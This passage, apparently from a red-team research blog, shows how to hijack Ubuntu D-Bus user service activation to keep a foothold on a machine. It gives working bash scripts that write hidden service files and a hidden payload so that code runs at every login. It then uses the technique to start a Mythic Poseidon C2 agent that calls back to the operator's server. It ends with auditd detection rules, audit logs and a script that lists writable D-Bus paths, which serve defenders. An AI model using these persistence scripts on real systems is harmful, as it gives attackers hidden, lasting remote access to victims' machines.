Now that we have proved that a normal Ubuntu user can define their own D-Bus configuration files, let’s exploit this to execute custom code each time a user logs in.

Note
We will be using this to connect back to Mythic shortly.

We first must identify a D-Bus service that is activated at login that does not require user interaction (like the Bluetooth activation example above did).

Identifying what D-Bus services activate at startup is more of an art than a science. To enumerate the services that are activated upon user login I stuffed every well-known service from busctl --user list into a bash script that creates each a D-Bus service file in ~/.local/share/dbus-1/services/ and logged out and back in a few times.

#!/bin/bash
# D-Bus Service Hijacking Proof Of Concept
# Creates service files for multiple D-Bus services-

# Set global vars
DBUS_DIR="$HOME/.local/share/dbus-1/services"

# Create the $DBUS_DIR directory if it does not exist
mkdir -p "$DBUS_DIR"

# Create a hidden payload script
cat > "$DBUS_DIR/.persistence_payload.sh" << EOL
#!/bin/bash
LOG_FILE="\$HOME/poc.log"
mkdir -p "\$(dirname "\$LOG_FILE")"
echo "[\$(date)] Persistence activated via \$1" >> "\$LOG_FILE"
# Execute original binary if provided
[ -n "\$2" ] && [ -x "\$2" ] && "\$2" "\$@" &
# Keep the process alive
while true; do sleep 5; done
EOL
chmod +x "$DBUS_DIR/.persistence_payload.sh"

# List of services to hijack
SERVICES=(
ca.desrt.dconf-editor
com.canonical.Unity
com.canonical.firmware_updater
com.feralinteractive.GameMode
com.mitchellh.ghostty
com.rastersoft.ding
com.rastersoft.dingextension
io.snapcraft.Launcher
io.snapcraft.SessionAgent
io.snapcraft.Settings
io.snapcraft.SnapDesktopIntegration
org.a11y.Bus
org.bluez.obex
org.fedoraproject.Config.Printing
org.flatpak.Authenticator.Oci
org.freedesktop.ColorHelper
org.freedesktop.Flatpak
org.freedesktop.IBus
org.freedesktop.IBus.Panel.Extension.Gtk3
org.freedesktop.ReserveDevice1.Audio0
org.freedesktop.ScreenSaver
org.freedesktop.Tracker3.Miner.Files
org.freedesktop.Tracker3.Miner.Files.Control
org.freedesktop.Tracker3.Writeback
org.freedesktop.background.Monitor
org.freedesktop.impl.portal.Secret
org.freedesktop.portal.Flatpak
org.freedesktop.portal.Tracker
org.freedesktop.secrets
org.freedesktop.systemd1
org.gnome.Calculator.SearchProvider
org.gnome.Characters
org.gnome.DiskUtility
org.gnome.Disks.NotificationMonitor
org.gnome.Evolution-alarm-notify
org.gnome.Extensions
org.gnome.Logs
org.gnome.Mutter.DisplayConfig
org.gnome.Mutter.IdleMonitor
org.gnome.Mutter.InputCapture
org.gnome.Mutter.InputMapping
org.gnome.Mutter.RemoteDesktop
org.gnome.Mutter.ScreenCast
org.gnome.Mutter.ServiceChannel
org.gnome.Nautilus
org.gnome.Nautilus.Tracker3.Miner.Extract
org.gnome.Nautilus.Tracker3.Miner.Files
org.gnome.Rygel1
org.gnome.Settings
org.gnome.Settings.SearchProvider
org.gnome.SettingsDaemon.A11ySettings
org.gnome.SettingsDaemon.Datetime
org.gnome.SettingsDaemon.Housekeeping
org.gnome.SettingsDaemon.Keyboard
org.gnome.SettingsDaemon.MediaKeys
org.gnome.SettingsDaemon.PrintNotifications
org.gnome.SettingsDaemon.Rfkill
org.gnome.SettingsDaemon.ScreensaverProxy
org.gnome.SettingsDaemon.Sharing
org.gnome.SettingsDaemon.Smartcard
org.gnome.SettingsDaemon.Sound
org.gnome.SettingsDaemon.XSettings
org.gnome.Shell
org.gnome.Shell.AudioDeviceSelection
org.gnome.Shell.Extensions
org.gnome.Shell.HotplugSniffer
org.gnome.Shell.Introspect
org.gnome.Shell.Portal
org.gnome.Shell.ScreenShield
org.gnome.Shell.Screenshot
org.gnome.Shell.Wacom.PadOsd
org.gnome.Terminal
org.gnome.TextEditor
org.gnome.baobab
org.gnome.clocks
org.gnome.evince.Daemon
org.gnome.evolution.dataserver.UserPrompter0
org.gnome.font-viewer
org.gnome.keyring
org.gnome.keyring.PrivatePrompter
org.gnome.keyring.SystemPrompter
org.gnome.seahorse.Application
org.gtk.GLib.PACRunner
org.gtk.MountOperationHandler
org.gtk.Notifications
org.gtk.vfs.mountpoint_45413
org.kde.StatusNotifierWatcher
)

# Create service files for each service
for SERVICE in "${SERVICES[@]}"; do
  # File can be called anything but must end with .service
  cat > "$DBUS_DIR/.$SERVICE.service" << EOL
[D-BUS Service]
Name=$SERVICE
Exec=$DBUS_DIR/.persistence_payload.sh "$SERVICE"
EOL
  echo "Created persistence for $SERVICE"
done

echo "Service persistence installed for all services. Check $HOME/poc.log after reboot."

After collecting data from logging out and back in a few times, the following services were activated consistently during the login process.

Service Name Description
org.freedesktop.DBus Core message bus service that allows applications to communicate with each other
org.freedesktop.portal.Documents Manages document access and permissions for sandboxed applications
org.gnome.SessionManager Controls GNOME desktop session including startup, shutdown, and application lifecycle
org.gtk.vfs.Daemon Provides virtual filesystem functionality for accessing various storage types
ca.desrt.dconf Handles storage and retrieval of application settings and configurations
org.freedesktop.FileManager1 Offers API for applications to interact with the file manager
org.freedesktop.Notifications Manages desktop notifications from various applications
org.freedesktop.impl.portal.PermissionStore Stores and manages application permissions
org.freedesktop.portal.Desktop Provides desktop integration for sandboxed applications
org.freedesktop.portal.IBus Handles input method integration for text entry
org.gnome.ScreenSaver Controls screen locking and screen saver functionality
org.gnome.SettingsDaemon.Color Manages color profiles and calibration
org.gnome.SettingsDaemon.Power Handles power management settings and behaviors
org.gnome.SettingsDaemon.Wacom Provides support for Wacom tablet devices
org.gnome.Shell.CalendarServer Manages calendar data and events for the GNOME shell
org.gnome.Shell.Notifications Handles shell-specific notification processing
org.gnome.Shell.Screencast Provides screen recording functionality
org.gnome.evolution.dataserver.Sources5 Manages data sources for Evolution PIM applications
org.gtk.Settings Handles GTK-specific settings
org.gtk.vfs.AfcVolumeMonitor Monitors iOS devices via AFC protocol
org.gtk.vfs.GPhoto2VolumeMonitor Monitors digital cameras via GPhoto2
org.gtk.vfs.GoaVolumeMonitor Monitors GNOME Online Accounts storage
org.gtk.vfs.MTPVolumeMonitor Monitors media devices using MTP protocol
org.gtk.vfs.Metadata Manages filesystem metadata
org.gtk.vfs.UDisks2VolumeMonitor Monitors storage devices via UDisks2
org.freedesktop.impl.portal.desktop.gnome GNOME implementation of desktop portals
org.freedesktop.impl.portal.desktop.gtk GTK implementation of desktop portals
org.gnome.OnlineAccounts Manages online account credentials and connections
org.gnome.evolution.dataserver.Calendar8 Provides calendar data services
org.gnome.Identity Manages user identity information
org.gnome.evolution.dataserver.AddressBook10 Provides contact management services

Theoretically, each of these are candidates for service path hijacking but the more “common” the service, the better the chance of it activating upon user login. From testing, org.gnome.SessionManager seems to work consistently, although many others do as well.

Let’s create a bash script that automates each step of the above proof of concept, but for the org.gnome.SessionManager service.

#!/bin/bash
# D-Bus Service Hijacking Proof Of Concept

# Where to write the D-Bus configuration file to.
DBUS_DIR="$HOME/.local/share/dbus-1/services"

# The service we will hijack. 
# Other hijacking candidates include: org.gtk.Settings 
#                                     org.gtk.vfs.Daemon
#                                     org.gtk.vfs.GoaVolumeMonitor
#                                     org.gtk.vfs.UDisks2VolumeMonitor
#                                     etc....
SERVICE="org.gnome.SessionManager"

# Creates ~/.local/share/dbus-1/services/.persistence_payload.sh
#         ~/.local/share/dbus-1/services/.dbus.service
run_default() {
    # Create the $DBUS_DIR directory if it does not exist
    mkdir -p "$DBUS_DIR"
    # Create a hidden payload script
    cat > "$DBUS_DIR/.persistence_payload.sh" << 'EOL'
#!/bin/bash
LOG_FILE="$HOME/poc.log"
mkdir -p "$(dirname "$LOG_FILE")"
SVC="${SERVICE}"  # This will expand the current value of SERVICE
echo "[$(date)] Persistence activated via $SVC" >> "$LOG_FILE"
# Execute original binary if provided
[ -n "$2" ] && [ -x "$2" ] && "$2" "$@" &
# Keep the process alive
while true; do sleep 5; done
EOL
    # Make the payload executable
    chmod +x "$DBUS_DIR/.persistence_payload.sh"
    
    # Create the service file for $SERVICE 
    cat > "$DBUS_DIR/.$SERVICE.service" << EOL
[D-BUS Service]
Name=$SERVICE
Exec=$DBUS_DIR/.persistence_payload.sh "$SERVICE"
EOL
    
    echo "Created persistence for $SERVICE"
    
    ls -lah "$DBUS_DIR"
    
    echo "Service persistence installed."
}

run_cleanup() {
    rm -f "$DBUS_DIR"/.*service
    rm -f "$DBUS_DIR"/.*.sh
    echo "Removed all files from $DBUS_DIR"
}
# Run ./poc.sh --cleanup to remove service config and payload
if [[ "$1" == "--cleanup" ]]; then
    run_cleanup
else
    run_default
fi

After running the proof of concept, we should be left with two files:

➜  ~ ./final.sh
Created persistence for org.gnome.SessionManager
total 24K
drwxrwxr-x 2 graham graham  12K Apr 21 21:01 .
drwxrwxr-x 3 graham graham 4.0K Apr  4 11:06 ..
-rw-rw-r-- 1 graham graham  144 Apr 21 21:01 .org.gnome.SessionManager.service
-rwxrwxr-x 1 graham graham  334 Apr 21 21:01 .persistence_payload.sh
Service persistence installed.
➜  ~ ./final.sh --cleanup
Removed all files from /home/graham/.local/share/dbus-1/services

This dbus-poc.sh script creates two files:

  1. The configuration file loaded at service activation
  2. The payload handler that will execute our custom code.

After logging out and back in, we can see that poc.log exists in the home directory.

C2 Persistence with Mythic

Finally, let’s utilize this technique to create a callback to our Mythic C2 server each time a user logs in. The scenario we’re emulating is a red team targeting a mature organization with developers who utilize Linux VMs for development. To save on resource costs, the Linux machine is shut down each night. After getting initial access, the red team is attempting to maintain persistence on the user’s VM before the user logs out and the instance is shut down.

The first step is to generate a mythic payload using your favorite C2 agent. In this case, the Go-based Linux agent Poseidon using an HTTP profile.

After generating a payload and uploading it to the target machine, we can store it in whatever sneaky way you wish. For this, I’ll just be placing it in ~/.local/share/dbus-1/services/.dbus-handler.

Next, we need to create the malicious D-Bus service configuration file in ~/.local/share/dbus-1/services/org.gnome.SessionManager.service that will execute our payload when the user logs in.

# Create a D-Bus service configuration file for org.gnome.SessionManager.service
# This will run .dbus-handler (our Poseidon agent)
cat << EOF > ~/.local/share/dbus-1/services/.org.gnome.SessionManager.service
[D-BUS Service]
Name=org.gnome.SessionManager
Exec=/home/ubuntu/.local/share/dbus-1/services/.dbus-handler "org.gnome.SessionManager"
EOF
ubuntu@dbus-ubuntu-2404:~/.local/share/dbus-1/services$ ls -lah
total 8.7M
drwxrwxr-x 2 ubuntu ubuntu 4.0K Apr 22 20:44 .
drwxrwxr-x 3 ubuntu ubuntu 4.0K Apr  3 20:41 ..
-rwxrwxr-x 1 ubuntu ubuntu 8.7M Apr 22 20:28 .dbus-handler
-rw-rw-r-- 1 ubuntu ubuntu  134 Apr 22 20:44 .org.gnome.SessionManager.service

When the user logs back in the next time, our dbus-handler Poseidon agent will execute, giving us a callback in Mythic.

Mythic C2 callback from Poseidon agent

Taking a look at the process listing confirms the beacon .dbus-handler is running as PID 1468.

ubuntu      1411  0.6  0.3  20956 12544 ?        Ss   20:33   0:00 /usr/lib/systemd/systemd --user
ubuntu      1415  0.0  0.0  21456  3596 ?        S    20:33   0:00  \_ (sd-pam)
ubuntu      1431  0.0  0.2 112968 11648 ?        S<sl 20:33   0:00  \_ /usr/bin/pipewire
ubuntu      1433  0.0  0.1  97736  5632 ?        Ssl  20:33   0:00  \_ /usr/bin/pipewire -c filter-chain.conf
ubuntu      1436  0.0  0.3 404980 15744 ?        S<sl 20:33   0:00  \_ /usr/bin/wireplumber
ubuntu      1444  0.0  0.2 109792 11008 ?        S<sl 20:33   0:00  \_ /usr/bin/pipewire-pulse
ubuntu      1445  0.4  0.1  10720  6272 ?        Ss   20:33   0:00  \_ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
ubuntu      1446  0.0  0.2 316508 10112 ?        SLsl 20:33   0:00  \_ /usr/bin/gnome-keyring-daemon --foreground --components=pkcs11,secrets --control-directory=/run/user/1000/keyring
ubuntu      1468  1.6  0.3 1602640 12672 ?       Sl   20:33   0:00  \_ /home/ubuntu/.local/share/dbus-1/services/dbus-handler org.gnome.SessionManager

Detection

Your standard persistence detection mechanisms apply here. A quick and easy rule to place a watch on a user’s directory:

-w /home/ubuntu/.local/share/dbus-1/services/ -p wa -k user_dbus_creation

This (generic) watch will log any files being created or modified in /home/ubuntu/.local/share/dbus-1/services.

ubuntu@dbus-ubuntu-2404:~$ sudo ausearch -k user_dbus_creation

time->Tue Apr 22 22:07:55 2025
type=PROCTITLE msg=audit(1745359675.263:554): proctitle=2F62696E2F62617368002E2F706F632E7368
type=PATH msg=audit(1745359675.263:554): item=1 name="/home/ubuntu/.local/share/dbus-1/services/.persistence_payload.sh" inode=516205 dev=08:02 mode=0100664 ouid=1000 ogid=1000 rdev=00:00 nametype=CREATE cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1745359675.263:554): item=0 name="/home/ubuntu/.local/share/dbus-1/services/" inode=511823 dev=08:02 mode=040775 ouid=1000 ogid=1000 rdev=00:00 nametype=PARENT cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1745359675.263:554): cwd="/home/ubuntu/final"
type=SYSCALL msg=audit(1745359675.263:554): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=608bc80ed000 a2=241 a3=1b6 items=2 ppid=4243 pid=4245 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=7 comm="poc.sh" exe="/usr/bin/bash" subj=unconfined key="user_dbus_creation"
----
time->Tue Apr 22 22:07:55 2025
type=PROCTITLE msg=audit(1745359675.265:555): proctitle=63686D6F64002B78002F686F6D652F7562756E74752F2E6C6F63616C2F73686172652F646275732D312F73657276696365732F2E70657273697374656E63655F7061796C6F61642E7368
type=PATH msg=audit(1745359675.265:555): item=0 name="/home/ubuntu/.local/share/dbus-1/services/.persistence_payload.sh" inode=516205 dev=08:02 mode=0100664 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1745359675.265:555): cwd="/home/ubuntu/final"
type=SYSCALL msg=audit(1745359675.265:555): arch=c000003e syscall=268 success=yes exit=0 a0=ffffff9c a1=648cfc2e04d0 a2=1fd a3=0 items=1 ppid=4243 pid=4246 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=7 comm="chmod" exe="/usr/bin/chmod" subj=unconfined key="user_dbus_creation"
----
time->Tue Apr 22 22:07:55 2025
type=PROCTITLE msg=audit(1745359675.265:556): proctitle=2F62696E2F62617368002E2F706F632E7368
type=PATH msg=audit(1745359675.265:556): item=1 name="/home/ubuntu/.local/share/dbus-1/services/.org.gnome.SessionManager.service" inode=516206 dev=08:02 mode=0100664 ouid=1000 ogid=1000 rdev=00:00 nametype=CREATE cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1745359675.265:556): item=0 name="/home/ubuntu/.local/share/dbus-1/services/" inode=511823 dev=08:02 mode=040775 ouid=1000 ogid=1000 rdev=00:00 nametype=PARENT cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1745359675.265:556): cwd="/home/ubuntu/final"
type=SYSCALL msg=audit(1745359675.265:556): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=608bc80f2220 a2=241 a3=1b6 items=2 ppid=4243 pid=4247 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=7 comm="poc.sh" exe="/usr/bin/bash" subj=unconfined key="user_dbus_creation"

Ideally, every path in the the D-Bus search path should be watched for malicious service files being created. The search path changing depending on environment variables can be annoying. To deal with this, the following script will evaluate a system for directories in the D-Bus search path that are writable by a user and print them to the screen. That information can be used to inform what directories to create detections for (Auditd or otherwise).

#!/bin/bash

# Function to normalize path (remove trailing slash)
normalize_path() {
    echo "${1%/}"
}

# ANSI color codes
RED='\033[0;31m'
NC='\033[0m' # No Color

# Function to check if user can write to a directory or its parent
check_path_write_access() {
    local dir="$1"
    local priority="$2"
    
    if [ -d "$dir" ]; then
        # Directory exists
        if [ -w "$dir" ]; then
            echo -e "${priority}. ${RED}$dir${NC} (exists, writable)"
        else
            echo -e "${priority}. $dir (exists, not writable)"
        fi
    else
        # Directory doesn't exist, check parent
        local parent_dir=$(dirname "$dir")
        if [ -d "$parent_dir" ]; then
            if [ -w "$parent_dir" ]; then
                echo -e "${priority}. ${RED}$dir${NC} (doesn't exist, can be created)"
            else
                echo -e "${priority}. $dir (doesn't exist, parent not writable)"
            fi
        else
            echo -e "${priority}. $dir (doesn't exist, parent also doesn't exist)"
        fi
    fi
}

# Path definitions
echo "D-Bus service file search paths:"

# Path 1
RUNTIME_PATH=""
if [ -n "$XDG_RUNTIME_DIR" ]; then
    RUNTIME_PATH="$(normalize_path "$XDG_RUNTIME_DIR")/dbus-1/services"
    echo "1. $RUNTIME_PATH"
fi

# Path 2
XDG_DATA_HOME="${XDG_DATA_HOME:-$HOME/.local/share}"
DATA_HOME_PATH="$(normalize_path "$XDG_DATA_HOME")/dbus-1/services"
echo "2. $DATA_HOME_PATH"

# Path 3
XDG_DATA_DIRS="${XDG_DATA_DIRS:-/usr/local/share:/usr/share}"
echo "3. Directories from XDG_DATA_DIRS:"
IFS=':'
data_dirs_paths=()
for dir in $XDG_DATA_DIRS; do
    normalized_dir="$(normalize_path "$dir")/dbus-1/services"
    echo "   $normalized_dir"
    data_dirs_paths+=("$normalized_dir")
done

# Path 4
USR_SHARE_PATH="/usr/share/dbus-1/services"
echo "4. $USR_SHARE_PATH"

# Check all paths with priorities and write permissions
echo -e "\nAll paths with their priorities and write permissions:"

# Check path 1
if [ -n "$XDG_RUNTIME_DIR" ]; then
    check_path_write_access "$RUNTIME_PATH" 1
fi

# Check path 2
check_path_write_access "$DATA_HOME_PATH" 2

# Check paths from XDG_DATA_DIRS (path 3)
sub_priority=0
for path in "${data_dirs_paths[@]}"; do
    sub_priority=$((sub_priority + 1))
    priority_string="3.$sub_priority"
    check_path_write_access "$path" "$priority_string"
done

# Check path 4 if not already listed in XDG_DATA_DIRS
if ! [[ " ${data_dirs_paths[*]} " =~ " $USR_SHARE_PATH " ]]; then
    check_path_write_access "$USR_SHARE_PATH" 4
fi

# Summary section - provide recommendations
echo -e "\nRecommendations:"
# Find highest priority writable path
if [ -n "$XDG_RUNTIME_DIR" ]; then
    parent_runtime=$(dirname "$RUNTIME_PATH")
    if [ -d "$RUNTIME_PATH" ] && [ -w "$RUNTIME_PATH" ]; then
        echo -e "- Highest priority writable path: ${RED}$RUNTIME_PATH${NC} (priority 1)"
        echo "  Note: This path is temporary and cleared on logout/reboot"
    elif [ -d "$parent_runtime" ] && [ -w "$parent_runtime" ]; then
        echo -e "- Highest priority path that can be created: ${RED}$RUNTIME_PATH${NC} (priority 1)"
        echo "  Note: This path is temporary and cleared on logout/reboot"
    elif [ -d "$DATA_HOME_PATH" ] && [ -w "$DATA_HOME_PATH" ]; then
        echo -e "- Highest priority writable path: ${RED}$DATA_HOME_PATH${NC} (priority 2)"
        echo "  Note: This path persists across reboots"
    else
        parent_data_home=$(dirname "$DATA_HOME_PATH")
        if [ -d "$parent_data_home" ] && [ -w "$parent_data_home" ]; then
            echo -e "- Highest priority path that can be created: ${RED}$DATA_HOME_PATH${NC} (priority 2)"
            echo "  Note: This path persists across reboots"
        fi
    fi
fi

echo -e "- For persistent services that survive reboots, use: ${RED}$DATA_HOME_PATH${NC}"
echo -e "- For temporary services for the current session only, use: ${RED}$RUNTIME_PATH${NC}"
echo "- After adding a service file, you may need to run: dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ReloadConfig"
D-Bus service file search paths:
1. /run/user/1000/dbus-1/services
2. /home/graham/.local/share/dbus-1/services
3. Directories from XDG_DATA_DIRS:
   /home/graham/.local/share/flatpak/exports/share/dbus-1/services
   /var/lib/flatpak/exports/share/dbus-1/services
   /usr/local/share/dbus-1/services
   /usr/share/dbus-1/services
   /var/lib/snapd/desktop/dbus-1/services
   /snap/ghostty/37/usr/share/dbus-1/services
4. /usr/share/dbus-1/services

All paths with their priorities and write permissions:
1. /run/user/1000/dbus-1/services (exists, writable)
2. /home/graham/.local/share/dbus-1/services (exists, writable)
3.1. /home/graham/.local/share/flatpak/exports/share/dbus-1/services (doesn't exist, can be created)
3.2. /var/lib/flatpak/exports/share/dbus-1/services (doesn't exist, parent also doesn't exist)
3.3. /usr/local/share/dbus-1/services (doesn't exist, parent also doesn't exist)
3.4. /usr/share/dbus-1/services (exists, not writable)
3.5. /var/lib/snapd/desktop/dbus-1/services (doesn't exist, parent also doesn't exist)
3.6. /snap/ghostty/37/usr/share/dbus-1/services (exists, not writable)
3. /usr/share/dbus-1/services (exists, not writable)

Recommendations:
- Highest priority writable path: /run/user/1000/dbus-1/services (priority 1)
  Note: This path is temporary and cleared on logout/reboot
- For persistent services that survive reboots, use: /home/graham/.local/share/dbus-1/services
- For temporary services for the current session only, use: /run/user/1000/dbus-1/services
- After adding a service file, you may need to run: dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ReloadConfig

Wrapping up

It was fun digging into how D-Bus works for this research, the more I explored the more questions I had. I’m sure there are other fun areas to explore within the D-Bus system. Don’t forget to thank the D-Bus driver on your way out.

References

Some references I found useful during my travels.